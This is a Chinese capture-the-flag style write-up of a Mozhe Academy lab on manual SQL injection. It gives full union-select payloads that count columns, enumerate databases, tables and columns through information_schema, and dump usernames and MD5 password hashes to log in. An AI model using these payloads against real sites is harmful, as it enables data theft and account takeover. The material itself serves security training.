环境:Nginx+PHP+MySQL
这是墨者学院的一个测试题,让我们用手工的方式对数据库进行注入得到信息登陆,拿到key。
凡是满足这两点,皆可产生注入漏洞,攻击者进一步构造payload进行拼接sql语句导致数据泄露,甚至网站、服务器权限被获取。
因此,开发者必须秉承着外部参数不可信的原则进行开发。
既然这是一道手工注入的测试题,那首先必须找到注入点。
打开链接看到如下界面:
没有其他花里胡哨的链接,我们可以很轻松的找到公告,点击发现这应该就是我们要找的注入点(待确定,因为实在没有其他东西了哈哈)。
http://219.153.49.228:46624/new_list.php?id=1
http://219.153.49.228:46624/new_list.php?id=1-0 减去0,发现返回正常
http://219.153.49.228:46624/new_list.php?id=1‘ 单引号 报错
构造语句 ~?id=1 order by 10 报错,说明字段数少于10个。
然后二分法取5.
构造语句 ~?id=1 order by 5还是报错,说明字段数少于5个。
继续二分法取3.
构造语句 ~?id=1 order by 3页面返回正常,说明字段数大于3个。
构造语句 ~?id=1 order by 4页面返回正常,刚才5报错,可得出字段数为4。
这里用联合查询?id=1 and 1=2 union select 1,2,3,4
可以看到2,3显示出来,我们可以用这两个字段来查看回显信息。
?id=1 and 1=2 union select 1,database(),version(),4
mozhe_Discuz_StormGroup为数据库,5.7.22为数据库版本信息,ubuntu0.16.04.1表示操纵系统乌班图0.16.04.1。
这里的信息不只有这么多,因为看到数据库版本5.7.22,可以知道Mysql会在5.0版本后,默认存在一个名为information_schema的数据库,而这个数据库里有三个对我们非常有用的表,分别是SCHEMATA、TABLE和CLOUMNS.
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1(显示mozhe_Discuz_StormGroup)
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1(显示mysql)
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1(显示performance_schema)
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1(显示sys)
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1(报错说明数据库有5个。)
这里直接从1开始查,因为知道第1个数据库是information_schema。以此类推直到网页报错,所查出来的数据库就是全部的数据库。
5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。
?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 0,1
同爆库,逐条查看直到报错。得出数据库中的表名。
数据库mozhe_Discuz_StormGroup有2个数据表,StormGroup_member、notice。
?id=1 and 1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1
同上,逐条查看直到报错。
得出表的列名:id,name,password,status。
?id=1 and 1=2 union select 1,CONCAT(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
也可以用group_concat全部输出:
到此为止我们就得到了想要的信息,用户名和密码(md5加密状态)。进行解密
账号mozhe.密码834430进行登陆得到key.